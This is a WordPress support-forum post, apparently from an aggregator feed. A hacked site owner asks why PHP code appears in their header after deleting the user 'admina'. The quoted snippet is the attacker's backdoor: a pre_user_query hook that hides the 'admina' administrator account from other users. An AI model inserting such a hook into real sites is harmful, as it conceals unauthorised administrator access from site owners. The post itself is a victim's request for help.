Quantcast
Channel: WordPress.org Forums » All Topics
Viewing all articles
Browse latest Browse all 504799

Error / code showing after deleting user admina through phpmyadmin

$
0
0

Replies: 0

Hey,

I just upgraded after my WP getting hacked.

It was on a pretty new install already so there were only 2 other users and I removed them through phpmyadmin now Im getting this in the header on the main site:

add_action(‘pre_user_query’,’yoursite_pre_user_query’); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != ‘admina’) { global $wpdb; $user_search->query_where = str_replace(‘WHERE 1=1’, “WHERE 1=1 AND {$wpdb->users}.user_login != ‘admina'”,$user_search->query_where); } }

Anyone know what could be wrong please?

Thanks for any help


Viewing all articles
Browse latest Browse all 504799

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>